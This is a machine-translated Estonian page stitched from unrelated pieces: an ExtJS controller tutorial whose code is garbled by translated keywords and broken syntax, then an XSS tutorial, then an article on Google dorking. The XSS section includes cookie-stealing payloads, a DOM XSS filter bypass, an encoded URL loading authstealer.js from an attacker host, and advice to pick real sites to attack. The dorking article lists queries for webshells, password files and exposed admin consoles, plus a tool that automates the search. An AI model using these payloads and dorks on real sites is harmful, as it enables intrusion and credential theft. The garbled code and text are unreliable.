Inurl livre php sõnum hoiatus julge. Kontrollerite loomine ExtJS-is. Sõnade otsimine täiendavate operaatorite abil

Viimati värskendatud: 1.11.2015

Kontroller on võtmelüli, mis seob kõik rakenduse osad kokku ja paneb need tööle. Lisa kataloogi BookApp/app/kontroller faili Books.js järgmise sisuga:

Ext.define("BookApp.controller.Books", ( laiend: "Ext.app.Controller", vaated: ["BookList", "Book"], poed: ["BookStore"], mudelid: ["Raamat"] , init: function() ( this.control(( "viewport > booklist": ( itemdblclick: this.editBook), "bookwindow button": ( kliki: this.createBook), "bookwindow button": ( kliki: this.updateBook ), "bookwindow button": ( click: this.deleteBook), "bookwindow button": ( click: this.clearForm )), // update Book: function(button) ( var win = button.up(" window") , vorm = win.down("vorm"), väärtused = form.getValues(), id = form.getRecord().get("id" Ext.Ajax.request(); url: "app/data/update.php", params: väärtused, edu: function(response)( var data=Ext.decode(response.responseText); if(data.success)( var store = Ext.widget( " raamatuloend").getStore(); store.load(); Ext.Msg.alert("Update",data.message); else( Ext.Msg.alert("Update","Teegis oleva raamatu värskendamine ebaõnnestus "); ) ) )); ), // loomise raamatu loomine: function(button) ( var win = button.up("window"), form = win.down("vorm"), väärtused = vorm.getValues () ; Ext.Ajax.request(( url: "app/data/create.php", params: väärtused, edu: funktsioon(vastus, valikud)( var data=Ext.decode(response.responseText); if(data.success) ( Ext.Msg.alert("Loomine",data.message); var store = Ext.widget("raamatuloend").getStore(); store.load(); ) else( Ext.Msg.alert("Loomine" "Raamatu raamatukogusse lisamine ebaõnnestus"); ), // kustutamine deleteBook: function(button) ( var win = button.up("window"), form = win.down("vorm"), id = form.getRecord().get("id"); Ext.Ajax.request(( url: "app/data/delete.php", params: (id:id), edu: function(response)( var data=Ext.decode(response.responseText); if(data. edu)( Ext.Msg.alert("Kustuta",andmed.sõnum); var store = Ext.widget("raamatuloend").getStore(); var record = store.getById(id); store.remove(record) ; form.getForm.reset( ) else( Ext.Msg.alert("Kustuta","Raamatu kustutamine raamatukogust ebaõnnestus"); ) ) ), clearForm: function(grid, record) ( var view = Ext.widget("bookwindow"); view.down("vorm").getForm().reset( ), editBook: function(grid, record) ( var view = Ext.widget("bookwindow"); .down("vorm").loadRecord(record);

Vaatame nüüd kontrolleri koodi. Esiteks pärime klassist Ext.app.Controller ja seadistame kontrolleri eelnevalt loodud vaated, mudelid ja poed:

Vaatamised: ["BookList", "Book"], poed: ["BookStore"], mudelid: ["Raamat"],

Järgmisena initsialiseerime parameetris init funktsiooni abil nuputöötlejad, mis meil vaates on. Juhtimisfunktsioon aitab teil käsitsejaid komponentidega seostada. See funktsioon kasutab klassi Ext.ComponentQuery, mis võimaldab elementide leidmiseks kasutada CSS-i stiilivalijat. Näiteks avaldis "vaateava > raamatuloend" otsib vaateava komponendis määratletud pseudonüümiga raamatuloendiga elemente. Selle valija tulemuseks on BookListi esitus.

Ja väljend "raamatuakna nupp" saab nupu, mille tegevusomadused on seatud uuele ja mis asub raamatuakna elemendis, st raamatuvaates, mis on alias-raamatuaken. Seega, kui olete tuttav CSS-i valijatega, pole teil raske mõista, kuidas selektorid ExtJS-is töötavad.

"viewport > booklist": ( itemdblclick: this.editBook )

Kõik käitleja funktsioonid on määratletud pärast funktsiooni init. Käitleja this.editBook laadib valitud mudeli aknasse:

EditBook: function(grid, record) ( var view = Ext.widget("bookwindow"); view.down("vorm").loadRecord(record); )

Meetodit Ext.widget kasutades leiame Ext.ComponentQuery valija abil soovitud komponendi (see avaldis sarnaneks avaldisega Ext.create("widget.bookwindow")) ja seejärel saame selle alamelemendi alla meetodil, samuti valija abil. Ja siis laadime valitud mudeli vormi.

Pärast mudeli laadimist on meil kolm võimalust: lisada uus raamat, muuta valitud või kustutada valitud. Ja siin tulevad mängu nende nuppude käitlejad. Kuna käitlejad on sama tüüpi, analüüsime neist ühte.

UpdateBooki töötleja võtab vastu muudetud raamatu andmed ja saadab serverile Ajaxi päringu:

UpdateBook: function(button) ( var win = button.up("window"), vorm = win.down("vorm"), väärtused = form.getValues(), id = form.getRecord().get( "id "); values.id=id; Ext.Ajax.request(( url: "app/data/update.php", params: väärtused, edu: function(response)( var data=Ext.decode(response. vastuseText) ; if(data.success)( var store = Ext.widget("raamatuloend").getStore(); store.load(); Ext.Msg.alert("Update",data.message); ) else( Ext. Msg.alert("Värskenda","Raamatu uuendamine raamatukogus ebaõnnestus" ) ) );

Käsitleja saab vajutatud nupu parameetrina ja seejärel saame üles meetodil saada selle nupu emaelemendid: function(button) (var win= button.up("window")...

Avaldisega väärtused = form.getValues() saame kõik vormiväljade väärtused, kuid kuna näiteks andmebaasiga suhtlemisel muutmisel on vaja id, siis lisame ka vormi väljade id. mudelit värskendatakse muutuja väärtustega.

Järgmisena saadame serverisse Ajaxi päringu koos uute raamatuandmetega, edastades päringu parameetrina muutuja väärtused. Faili vastuvõtmine update.php(mis peaks olema kaustas BookApp/app/data) võib edastatud parameetrid vastu võtta järgmiselt:

Ja lõpus vaatame edufunktsioonis tulemust, mille server vastuseks saadab ja kui kõik läks hästi, siis laadime serverist alla uuendatud andmed.

Ülejäänud kaks käitlejat töötavad sarnasel põhimõttel.

Ja päris lõpus muudame taotluse faili app.js nii, et see aktsepteerib ülaltoodud kontrollerit järgmiselt:

Ext.application(( nõuab: ["Ext.container.Viewport"], nimi: "BookApp", appFolder: "app", kontrollerid: ["Raamat"], käivitamine: function() ( Ext.create("Ext. konteiner.Vaateava", ( paigutus: "sobib", üksused: ( xtype: "booklist" ) )); ) ));

Kontrollerites: ["Books"] atribuudis määrame ülal loodud kontrolleri.

Nüüd on rakendus valmis ja seda saab käivitada:

Seega saame rakendada MVC mustrit Ext JS rakenduste loomiseks.

Saididevaheline skriptimine (XSS) on haavatavus, mis hõlmab kliendipoolse koodi (JavaScript) sisestamist veebilehele, mida teised kasutajad vaatavad.

Haavatavuse põhjuseks on andmete ebapiisav filtreerimine, mille kasutaja veebilehele sisestamiseks esitab. Seda on konkreetse näite abil palju lihtsam mõista. Pidage meeles kõiki külalisteraamatuid – need on programmid, mis on loodud kasutajalt andmete vastuvõtmiseks ja nende kuvamiseks. Kujutagem ette, et külalisteraamat ei kontrolli ega filtreeri sisestatud andmeid kuidagi, vaid lihtsalt kuvab.

Saate visandada oma kõige lihtsama skripti (pole midagi lihtsamat kui halbade skriptide kirjutamine PHP-s - paljud inimesed teevad seda). Kuid valmisvalikuid on juba küllaga. Näiteks soovitan alustada Dojost ja OWASP Mutillidae II-st. Seal on sarnane näide. Eraldiseisvas Dojo keskkonnas minge oma brauseris sellele lingile: http://localhost/mutillidae/index.php?page=add-to-your-blog.php

Kui üks kasutajatest sisestas:

Seejärel kuvatakse veebilehel:

Tere! Mulle meeldib teie sait.

Ja kui kasutaja sisestab selle:

Tere! Mulle meeldib teie site.alert("Pwned")

Seejärel kuvatakse see järgmiselt:

Brauserid salvestavad suure hulga saitide jaoks palju küpsiseid. Iga sait saab vastu võtta ainult enda salvestatud küpsiseid. Näiteks example.com on teie brauserisse salvestanud mõned küpsised. Kui külastate veebisaiti other.com, ei pääse see sait (kliendi- ja serveriskriptid) juurde küpsistele, mille example.com on salvestanud.

Kui example.com on XSS-i suhtes haavatav, tähendab see, et saame sinna kuidagi JavaScripti koodi sisestada ja see kood käivitatakse saidi example.com nimel! Need. See kood pääseb näiteks juurde saidi example.com küpsistele.

Arvan, et kõik mäletavad, et JavaScript käivitatakse kasutajate brauserites, st. XSS-i olemasolul saab manustatud pahatahtlik kood juurdepääsu veebisaidi lehe avanud kasutaja andmetele.

Manustatud kood suudab teha kõike, mida JavaScript suudab, nimelt:

  • saab juurdepääsu teie vaadatava veebisaidi küpsistele
  • saab lehe välimust muuta
  • pääseb lõikepuhvrisse
  • saab rakendada JavaScripti programme, näiteks klahvilogijaid (klahvivajutuste pealtkuulajaid)
  • võta vastu BeEF
  • ja jne.

Lihtsaim näide küpsiste kohta:

hoiatus(dokument.küpsis)

Tegelikult kasutatakse hoiatust ainult XSS-i tuvastamiseks. Tõeline pahatahtlik koormus teeb varjatud toiminguid. See võtab salaja ühendust ründaja kaugserveriga ja edastab sellele varastatud andmed.

XSS-i tüübid

Kõige olulisem asi, mida XSS-i tüüpide puhul mõista, on see, et need on:

  • Salvestatud (alaline)
  • Peegeldunud (mittepüsiv)

Näide konstantidest:

  • Ründaja poolt külalisteraamatusse sisestatud spetsiaalselt koostatud sõnum (kommentaar, foorumi sõnum, profiil), mis salvestatakse serverisse, laaditakse serverist alla iga kord, kui kasutajad soovivad selle lehe kuvamist.
  • Ründaja pääses serveri andmetele ligi näiteks SQL-i süstimise teel ning sisestas kasutajale antud andmetesse pahatahtlikku JavaScripti koodi (koos kilologeritega ehk BeEF).

Näide mittepüsivatest:

  • Saidil on otsing, mis kuvab koos otsingutulemustega midagi sellist, nagu „Otsisite: [otsingustring]” ja andmeid ei filtreerita korralikult. Kuna sellist lehte kuvatakse ainult sellele, kellel on sellele link, siis rünnak ei toimi enne, kui ründaja saadab lingi teistele saidi kasutajatele. Ohvrile lingi saatmise asemel võite kasutada pahatahtliku skripti paigutamist neutraalsele saidile, mida ohver külastab.

Samuti eristavad nad (mõned kui mittepüsivad XSS-i haavatavused, mõned ütlevad, et see tüüp võib olla ka püsiva XSS-i tüüp):

  • DOM mudelid
DOM-põhise XSS-i omadused

Väga lihtsalt öeldes näeme HTML-koodi avamisel "tavalise" mittepüsiva XSS-i pahatahtlikku koodi. Näiteks moodustatakse link järgmiselt:

Http://example.com/search.php?q="/>alert(1)

Ja kui avame HTML-i lähtekoodi, näeme midagi sellist:

hoiatus(1)" /> Leia

Ja DOM XSS muudab DOM-i struktuuri, mis moodustub brauseris käigupealt ja pahatahtlikku koodi näeme ainult genereeritud DOM-i struktuuri vaadates. HTML ei muutu. Võtame selle koodi näitena:

site:::DOM XSS Ilmnes viga... function OnLoad() ( var foundFrag = get_fragment(); return foundFrag; ) function get_fragment() ( var r4c = "(.*?)"; var results = location.hash .match(".*input=token(" + r4c + ");"); if (tulemused) ( document.getElementById("default").innerHTML = ""; return (unescape(results)); ) else ( return null ) ) display_session = OnLoad(); document.write("Teie seansi ID oli: " + display_session + "

")

Seejärel näeme brauseris järgmist:

Lehe lähtekood:

Moodustame aadressi järgmiselt:

Http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1);

Nüüd näeb leht välja selline:

Kuid vaatame HTML-i lähtekoodi:

Seal pole üldse midagi muutunud. Sellest ma rääkisin, pahatahtliku koodi tuvastamiseks peame vaatama dokumendi DOM-i struktuuri:

Siin on töötav XSS-i prototüüp, reaalse rünnaku jaoks vajame keerukamat kasulikku koormust, mis pole võimalik, kuna rakendus lõpetab lugemise kohe pärast semikoolonit ja midagi sellist nagu alert(1);alert(2) pole kauem võimalik. Kuid tänu funktsioonile unescape() saame tagastamisandmetes kasutada sellist kasulikku koormust:

Http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1)%3balert(2);

Kus asendasime sümboli ; URI-kodeeritud ekvivalendile!

Nüüd saame kirjutada pahatahtliku JavaScripti kasuliku koormuse ja koostada ohvrile saatmiseks lingi, nagu seda tehakse standardse mittepüsiva saidiülese skriptimise puhul.

XSS audiitor

Google Chrome'is (ja ka nüüd Google Chrome'i mootorit kasutavas Operas) ootas mind selline üllatus:

dom_xss.html:30 XSS-i audiitor keeldus "http://localhost/tests/XSS/dom_xss.html#input=token‹script›alert(1);" skripti käivitamisest. kuna selle lähtekood leiti päringust. Audiitor oli lubatud, kuna server ei saatnud päist "X-XSS-Protection" ega "Content-Security-Policy".

Need. brauseris on nüüd XSS-i audiitor, mis püüab XSS-i takistada. Firefoxil seda funktsiooni veel pole, aga arvan, et see on aja küsimus. Kui juurutamine brauserites on edukas, võime rääkida märkimisväärsest raskusest XSS-i kasutamisel.

Hea on meeles pidada, et kaasaegsed brauserid astuvad samme, et piirata ärakasutavate probleemide (nt mittepüsiv XSS ja DOM-põhine XSS) taset. Seda tasub meeles pidada ka veebilehtede testimisel brauseri abil – võib vabalt selguda, et veebirakendus on haavatav, kuid hüpikakna kinnitust ei näe te ainult seetõttu, et brauser seda blokeerib.

XSS-i kasutamise näited

Ründajad, kes kavatsevad ära kasutada saidiüleseid skriptimise haavatavusi, peavad lähenema igale haavatavuse klassile erinevalt. Siin on kirjeldatud iga klassi ründevektoreid.

XSS-i haavatavuste puhul võivad rünnakud kasutada BeEF-i, mis laiendab rünnakut veebisaidilt kasutajate kohalikku keskkonda.

Näide mittepüsivast XSS-rünnakust

1. Alice külastab sageli teatud veebisaiti, mida hostib Bob. Bobi veebisait võimaldab Alice'il kasutajanime/parooliga sisse logida ja talletada tundlikke andmeid, näiteks makseteavet. Kui kasutaja logib sisse, salvestab brauser autoriseerimisküpsised, mis näevad välja nagu mõttetud tähemärgid, s.t. mõlemad arvutid (klient ja server) mäletavad, et ta sisenes.

2. Mallory märgib, et Bobi veebisait sisaldab püsivat XSS-i haavatavust:

2.1 Kui külastate otsingulehte, sisestage otsingustring ja klõpsake nuppu Esita. Kui tulemusi ei leitud, kuvatakse lehel sisestatud otsingustring, millele järgneb sõnad "ei leitud" ja URL näeb välja kujul http://bobssite .org?q= tema otsingupäring

2.2 Tavalise otsingupäringuga, nagu sõna "koerad", kuvatakse lehel lihtsalt "koeri ei leitud" ja URL-i http://bobssite.org?q=dogs, mis on täiesti normaalne käitumine.

2.3 Kui aga anomaalne otsingupäring, näiteks alert("xss"); :

2.3.1 Ilmub hoiatusteade (mis ütleb "xss").

2.3.2 Lehel kuvatakse märguanne("xss"); ei leitud ja veateade tekstiga "xss".

2.3.3 kasutamiseks sobiv url http://bobssite.org?q=alert("xss");

3. Mallory koostab haavatavuse ärakasutamiseks URL-i:

3.1 Ta loob URL-i http://bobssite.org?q=kutsikad. Ta võib teisendada ASCII märgid kuueteistkümnendvormingusse, näiteks http://bobssite.org?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E et takistada inimestel pahatahtlikku URL-i kohe dešifreerimast.

3.2 Ta saadab mõnele Bobi saidi pahaaimamatule liikmele e-kirja, öeldes: "Vaadake lahedaid koeri."

4. Alice saab kirja. Ta armastab koeri ja klõpsab lingil. Ta läheb otsingusse Bobi saidile, ta ei leia midagi, seal kuvatakse "koera ei leitud" ja päris keskel käivitatakse skriptiga silt (see on ekraanil nähtamatu), laadib alla ja käivitab Malory's programm authstealer.js (käivitab XSS-i rünnaku). Alice unustab selle.

5. Programm authstealer.js töötab Alice'i brauseris nii, nagu oleks see pärit Bobi veebisaidilt. Ta haarab koopia Alice'i autoriseerimisküpsistest ja saadab need Malory serverisse, kust Malory need kätte saab.

7. Nüüd, kui Malorie on sees, läheb ta veebisaidi maksete sektsiooni, vaatab ja varastab Alice'i krediitkaardi numbri koopia. Siis ta läheb ja muudab parooli, st. Nüüd ei saa Alice enam isegi sisse tulla.

8. Ta otsustab astuda järgmise sammu ja saadab sel viisil loodud lingi Bobile endale ning saab seega Bobi saidi administraatoriõigused.

Püsiv XSS-rünnak

  • Malloryl on konto Bobi veebisaidil.
  • Mallory märkab, et Bobi veebisait sisaldab püsivat XSS-i haavatavust. Kui lähete uude jaotisse ja postitate kommentaari, kuvatakse kõik, mis sinna on kirjutatud. Kui aga kommentaari tekst sisaldab HTML-märgendeid, renderdatakse need sildid nii, nagu on, ja käivitatakse kõik skriptimärgendid.
  • Mallory loeb artiklit uudiste rubriigis ja kirjutab kommentaari jaotisesse Kommentaarid. Kommentaari lisab ta teksti:
  • Mulle väga meeldisid selle loo koerad. Nad on nii toredad!
  • Kui Alice (või keegi teine) laadib selle kommentaariga lehe, käivitub Malory skriptimärgend ja varastab Alice'i autoriseerimisküpsise, saates selle Malory salaserverisse kogumiseks.
  • Mallory saab nüüd kaaperdada Alice'i seansi ja kehastada Alice'i.
  • XSS-i suhtes haavatavate saitide leidmine

    Dorks XSS-i jaoks

    Esimene samm on valida saidid, kus me XSS-i rünnakuid sooritame. Saite saab otsida Google dorksi abil. Siin on mõned neist dokkidest, mida saate kopeerida ja Google'i otsingusse kleepida:

    • inurl:search.php?q=
    • inurl:.php?q=
    • inurl: otsing.php
    • inurl:.php?search=

    Meie ees avaneb saitide loend. Peate saidi avama ja leidma sellelt sisestusväljad, nagu tagasisidevorm, sisestusvorm, saidiotsing jne.

    Märgin kohe, et populaarsete automaatselt uuendatavate veebirakenduste haavatavusi on peaaegu kasutu otsida. Sellise rakenduse klassikaline näide on WordPress. Tegelikult on WordPressis ja eriti selle pistikprogrammides turvaauke. Pealegi on palju saite, mis ei värskenda ei WordPressi mootorit (sest veebihaldur tegi lähtekoodis mõningaid muudatusi) ega nende pistikprogramme ja teemasid (reeglina on need piraatpluginad ja teemad). Aga kui loed seda rubriiki ja õpid sealt midagi uut, siis WordPress pole veel sinu jaoks... Tuleme selle juurde kindlasti hiljem tagasi.

    Parimad eesmärgid on mitmesugused ise kirjutatud mootorid ja skriptid.

    Saate valida sisestuskoormuse kui

    hoiatus (1)

    Pöörake tähelepanu sellele, millistesse HTML-koodi siltidesse teie manustatud kood kuulub. Siin on näide tüüpilisest sisestusväljast:

    hoiatus (1)

    Meie koorem jõuab sinna, kus praegu on sõna "padjapüür". Need. muutuda sisendsildi väärtuseks. Saame seda vältida, sulgedes topeltjutumärgi ja seejärel sildi enda koodiga "/>

    ">hoiatus(1)

    Proovime seda mõne saidi jaoks:

    Suurepärane, seal on haavatavus

    Programmid XSS-i haavatavuste otsimiseks ja skannimiseks

    Tõenäoliselt on kõigil veebirakenduste skanneritel sisseehitatud XSS-i haavatavuse skanner. See teema pole kõikehõlmav, parem on tutvuda iga sarnase skanneriga eraldi.

    Samuti on olemas spetsiaalsed tööriistad XSS-i haavatavuste otsimiseks. Nende hulgas võime eriti esile tõsta:

    • XSSer ei ole mitte ainult võimas skanner, mis võib kasutada erinevaid süstimis- ja filtreerimismeetodeid, vaid see on ka automaatne tööriist XSS-i (dorksi poolt) haavatavate saitide otsimiseks. Leitud haavatavustega saitide puhul võib see anda kasuliku koormuse tõeliseks rünnakuks;
    • XssPy on ka üsna sõltumatu tööriist, mis suudab leida saidi kõik lehed (ka alamdomeenidel olevad) ja kontrollida kõiki nende lehtede sisestuselemente;

    USSCLTD 10. mai 2016, kell 12:38

    Haavatavuste otsimine Google'i abil
    • Infoturbe

    Igasugune turvaaukude otsimine veebiressurssidest algab luurest ja teabe kogumisest.
    Luure võib olla kas aktiivne – saidi failide ja kataloogide jõhker jõud, haavatavuse skannerite käitamine, saidi käsitsi sirvimine või passiivne – teabe otsimine erinevatest otsingumootoritest. Mõnikord juhtub, et haavatavus saab teatavaks juba enne saidi esimese lehe avamist.

    Kuidas on see võimalik?
    Pidevalt Internetis ringi liikuvad otsingurobotid salvestavad lisaks tavakasutajale kasulikule teabele sageli asju, mida ründajad saavad kasutada veebiressursi ründamiseks. Näiteks skriptivead ja tundlikku teavet sisaldavad failid (konfiguratsioonifailidest ja logidest kuni autentimisandmete ja andmebaasi varukoopiatega failideni).
    Otsinguroboti seisukohalt on veateade sql-päringu täitmise kohta lihttekst, mis on lahutamatu näiteks lehel olevast toodete kirjeldusest. Kui ootamatult avastas otsingurobot .sql-laiendiga faili, mis mingil põhjusel saidi töökausta sattus, siis tajutakse seda saidi sisu osana ja ka indekseeritakse (sealhulgas ka paroolid selles täpsustatud).

    Sellist teavet saab leida tugevate, sageli ainulaadsete märksõnade tundmisega, mis aitavad eraldada "haavatavad lehed" lehtedest, mis ei sisalda turvaauke.
    Saidil exploit-db.com on olemas tohutu märksõnade (nn dorks) spetsiaalsete päringute andmebaas ja seda tuntakse Google'i häkkimise andmebaasina.

    Miks googeldada?
    Dorks on peamiselt sihitud Google'ile kahel põhjusel.
    − kõige paindlikum märksõnade (näidatud tabelis 1) ja erimärkide (näidatud tabelis 2) süntaks;
    − Google'i register on endiselt täielikum kui teiste otsingumootorite oma;

    Tabel 1 – Peamised Google'i märksõnad

    Märksõna
    Tähendus
    Näide
    saidile
    Otsige ainult määratud saidilt. Arvestab ainult URL-i
    site:somesite.ru – leiab kõik antud domeeni ja alamdomeenide lehed
    inurl
    Otsige uri-s olevate sõnade järgi. Erinevalt cl. sõnad "sait", otsib vasteid saidi nime järel
    inurl:news – leiab kõik lehed, kus antud sõna uri-s esineb
    tekstis
    Otsige lehe sisust
    intext:"liiklusummikud" - täiesti sarnane tavapärasele "liiklusummikutele"
    tiitel
    Otsige lehe pealkirjast. Tekst siltide vahel
    intitle:”index of” – leiab kõik kataloogiloenditega lehed
    ext
    Otsige määratud laiendiga lehti
    ext:pdf – leiab kõik pdf-failid
    faili tüüp
    Hetkel täiesti sarnane klassiga. sõna "ext"
    failitüüp:pdf - sarnane
    seotud
    Otsige sarnaste teemadega saite
    related:google.ru - näitab selle analooge
    link
    Otsige saite, mis sellele viitavad
    link:somesite.ru – leiab kõik saidid, millel on sellele link
    määratleda
    Näita sõna määratlust
    define:0day – mõiste definitsioon
    vahemälu
    Kuva lehe sisu vahemälus (kui see on olemas)
    cache:google.com – avab vahemällu salvestatud lehe

    Tabel 2 – erimärgid Google'i päringute jaoks

    Sümbol
    Tähendus
    Näide

    Täpne fraas
    intitle:"RouterOS-i ruuteri konfiguratsioonileht" - ruuterite otsimine
    *
    Igasugune tekst
    inurl: “bitrix*mcart” – haavatava mcart-mooduliga saitide otsimine bitrixist
    .
    Ükskõik milline tegelane
    Index.of – sarnane päringu indeksiga
    -
    Kustutage sõna
    error -warning - kuvab kõik lehed, millel on viga, kuid millel pole hoiatust
    ..
    Vahemik
    cve 2006..2016 - näidake haavatavusi aastate kaupa alates 2006. aastast
    |
    Loogiline "või"
    Linux | aknad – näitavad lehti, kus esineb kas esimene või teine ​​sõna

    Tasub mõista, et iga päring otsingumootorile on otsing ainult sõnade järgi.
    Kasutu on lehelt metamärke otsida (jutumärgid, sulud, kirjavahemärgid jne). Isegi jutumärkides määratud täpse fraasi otsing on sõnaotsing, millele järgneb tulemustes täpse vaste otsimine.

    Kõik Google Hack Database'i dokumendid on loogiliselt jagatud 14 kategooriasse ja on esitatud tabelis 3.
    Tabel 3 – Google Hacki andmebaasi kategooriad

    Kategooria
    Mis võimaldab leida
    Näide
    Jalaalused
    Veebikestad, avalikud failihaldurid
    Otsige üles kõik häkitud saidid, kuhu loetletud veebikestad üles laaditakse:
    (intitle:"phpshell" VÕI intitle:"c99shell" VÕI intitle:"r57shell" VÕI intitle:"PHP Shell" VÕI intitle:"phpRemoteView") `rwx` "uname"
    Kasutajanimesid sisaldavad failid
    Registrifailid, konfiguratsioonifailid, logid, failid, mis sisaldavad sisestatud käskude ajalugu
    Otsige üles kõik kontoteavet sisaldavad registrifailid:
    failitüüp:reg reg +intext:"Interneti kontohaldur"
    Tundlikud kataloogid
    Erineva teabega kataloogid (isiklikud dokumendid, vpn-i konfiguratsioonid, peidetud hoidlad jne)
    Otsige üles kõik VPN-iga seotud faile sisaldavad kataloogide loendid:
    "Config" intitle:"Index of" intext:vpn
    Git-hoidlaid sisaldavad saidid:
    (intext:"indeks /.git") ("emakataloog")
    Veebiserveri tuvastamine
    Versioon ja muu teave veebiserveri kohta
    Leidke JBossi serveri halduskonsoolid:
    inurl:"/web-console/" intitle:"Halduskonsool"
    Haavatavad failid
    Tuntud turvaauke sisaldavad skriptid
    Otsige saite, mis kasutavad skripti, mis võimaldab teil serverist suvalise faili üles laadida.
    allinurl:forcedownload.php?file=
    Haavatavad serverid
    Installimisskriptid, veebishellid, avatud halduskonsoolid jne.
    Otsige üles avatud PHPMyAdmini konsoolid, mis töötavad administraatorina:
    intitle:phpMyAdmin "Tere tulemast phpMyAdminisse ***" "töötab saidil * root@*"
    Veateated
    Erinevad vead ja hoiatused paljastavad sageli olulist teavet – alates CMS-i versioonist kuni paroolideni
    Saidid, millel on andmebaasi SQL-päringute täitmisel vigu:
    "Hoiatus: mysql_query()" "kehtetu päring"
    Mahlast teavet sisaldavad failid
    Sertifikaadid, varukoopiad, meilid, logid, SQL-skriptid jne.
    Otsige initsialiseerimise sql-skripte:
    failitüüp: sql ja "sisestage" -site: github.com
    Paroole sisaldavad failid
    Kõik, mis võib sisaldada paroole – logid, SQL-skriptid jne.
    Logid, mis mainivad paroole:
    faili tüüp:logitekst:parool |läbima |pw
    paroole sisaldavad sql-skriptid:
    ext:sqltekst:kasutajanimitekst:parool
    Tundlik teave veebiostude kohta
    Internetist ostudega seotud teave
    Otsige PIN-koode:
    dcid=bn=pinkood=
    Võrgu või haavatavuse andmed
    Teave, mis ei ole otseselt veebiressursiga seotud, kuid mõjutab võrku või muid veebiväliseid teenuseid
    Otsige automaatse puhverserveri konfiguratsiooni skripte, mis sisaldavad teavet sisevõrgu kohta:
    inurl:puhverserver | inurl:wpad ext:pac | ext:dat findproxyforurl
    Sisselogimisportaale sisaldavad lehed
    Sisselogimisvorme sisaldavad lehed
    saplogoni veebilehed:
    intext:"2016 SAP AG. Kõik õigused kaitstud." pealkiri: "Logi sisse"
    Erinevad võrguseadmed
    Printerid, ruuterid, seiresüsteemid jne.
    Leidke printeri konfiguratsioonipaneel:
    pealkiri:"hplaserjet"inurl:SSI/Auth/set_config_seadme teave.htm
    Nõuanded ja haavatavused
    Veebisaidid haavatavates CMS-i versioonides
    Otsige üles haavatavad pistikprogrammid, mille kaudu saate suvalise faili serverisse üles laadida:
    inurl:fckeditor -intext:"ConfigIsEnabled = False" intext:ConfigIsEnabled

    Dorksid on sagedamini keskendunud otsimisele kõigil Interneti-saitidel. Kuid miski ei takista teil otsingu ulatust mis tahes saidil või saitidel piiramast.
    Iga Google'i päringu saab keskenduda konkreetsele saidile, lisades päringule märksõna "site:somesite.com". Selle märksõna saab lisada igale dorkile.

    Turvaaukude otsimise automatiseerimine
    Nii sündiski idee kirjutada lihtne utiliit, mis automatiseerib haavatavuste otsimist otsingumootori (google) abil ja tugineb Google Hacki andmebaasile.

    Utiliit on skript, mis on kirjutatud nodejs kasutades phantomjs. Kui täpne olla, siis skripti tõlgendab phantomjs ise.
    Phantomjs on täisväärtuslik GUI-ta veebibrauser, mida juhib js-kood ja mugav API.
    Utiliit sai täiesti arusaadava nime - dorks. Käitades seda käsureal (ilma suvanditeta), saame lühikese abi mitme kasutusnäidetega:


    Joonis 1 – peamiste dorksi valikute loend

    Utiliidi üldine süntaks on: dork "käsk" "valikute loend".
    Kõikide valikute üksikasjalik kirjeldus on esitatud tabelis 4.

    Tabel 4 – Dorksi süntaks

    Meeskond
    Võimalus
    Kirjeldus
    ghdb
    -l
    Printige nummerdatud loend dork-kategooriatest Google Hack Database
    -c "kategooria number või nimi"
    Määratud kategooria uksed laadige numbri või nime järgi
    -q "fraas"
    Laadige alla nõudmisel leitud dorksid
    -o "fail"
    Salvestage tulemus faili (ainult suvanditega -c|-q)
    google
    -d "dork"
    Määrake suvaline dork (valikut saab kasutada mitu korda, kombinatsioon valikuga -D on lubatud)
    -D "fail"
    Kasutage failist dorksi
    -s "sait"
    Määra sait (valikut saab kasutada mitu korda, kombinatsioon valikuga -S on lubatud)
    -S "fail"
    Kasutage saite failist (dorksi otsitakse iga saidi jaoks eraldi)
    -f "filter"
    Määrake täiendavad märksõnad (lisatakse igale dokile)
    -t "ms-ide arv"
    Google'ile esitatavate taotluste vaheline intervall
    -T "ms arv"
    Aegumine, kui leitakse captcha
    -o "fail"
    Salvestage tulemus faili (salvestatakse ainult need rajad, mille jaoks midagi leiti)

    Kasutades käsku ghdb, saate suvalise päringu alusel hankida kõik dorkid exploit-db-st või määrata kogu kategooria. Kui määrate kategooria 0, laaditakse kogu andmebaas maha (umbes 4,5 tuhat dorki).

    Hetkel saadaolevate kategooriate loend on toodud joonisel 2.

    Joonis 2 – saadaolevate GHDB dorkkategooriate loend

    Google'i meeskond asendab iga dorki Google'i otsingumootorisse ja analüüsib tulemusi vastete leidmiseks. Teed, kust midagi leiti, salvestatakse faili.
    Utiliit toetab erinevaid otsingurežiime:
    1 dork ja 1 sait;
    1 dork ja palju saite;
    1 sait ja palju dokke;
    palju saite ja palju dokke;
    Doksi ja saitide loendit saab määrata kas argumendi või faili kaudu.

    Töö demonstreerimine
    Proovime veateadete otsimise näitel otsida mis tahes turvaauke. Käsuga: dorks ghdb –c 7 –o errors.dorks laaditakse kõik teadaolevad kategooria “Tõrketeated” dorkid, nagu on näidatud joonisel 3.


    Joonis 3 – kategooria „Tõrketeated” kõigi teadaolevate dokkide laadimine

    Dorks laaditakse alla ja salvestatakse faili. Nüüd jääb üle vaid need mõnele saidile “seadistada” (vt joonis 4).


    Joonis 4 – otsige Google'i vahemälust huvipakkuva saidi turvaauke

    Mõne aja pärast avastatakse uuritaval saidil mitu vigu sisaldavat lehte (vt joonis 5).


    Joonis 5 – leitud veateated

    Selle tulemusena saame tulemuse.txt failis täieliku loendi tõrkeni viinud dorkidest.
    Joonis 6 näitab saidi vigade otsimise tulemust.

    Joonis 6 – Veaotsingu tulemus

    Selle dorki vahemälus kuvatakse täielik tagasijälg, mis näitab skriptide absoluutset teed, saidi sisuhaldussüsteemi ja andmebaasi tüüpe (vt joonis 7).


    Joonis 7 – saidi kujunduse kohta teabe avalikustamine

    Siiski tasub arvestada, et mitte kõik GHDB dorks ei anna tõeseid tulemusi. Samuti ei pruugi Google leida täpset vastet ja näidata sarnast tulemust.

    Sel juhul on targem kasutada oma isiklikku dokkide nimekirja. Näiteks tasub alati otsida “ebatavaliste” laienditega faile, mille näited on toodud joonisel 8.


    Joonis 8 – Tavalise veebiressursi jaoks ebatüüpiliste faililaiendite loend

    Selle tulemusena hakkab Google juba esimesest päringust käsuga dorks google –D extensions.txt –f bank tagastama “ebatavaliste” faililaienditega saite (vt joonis 9).


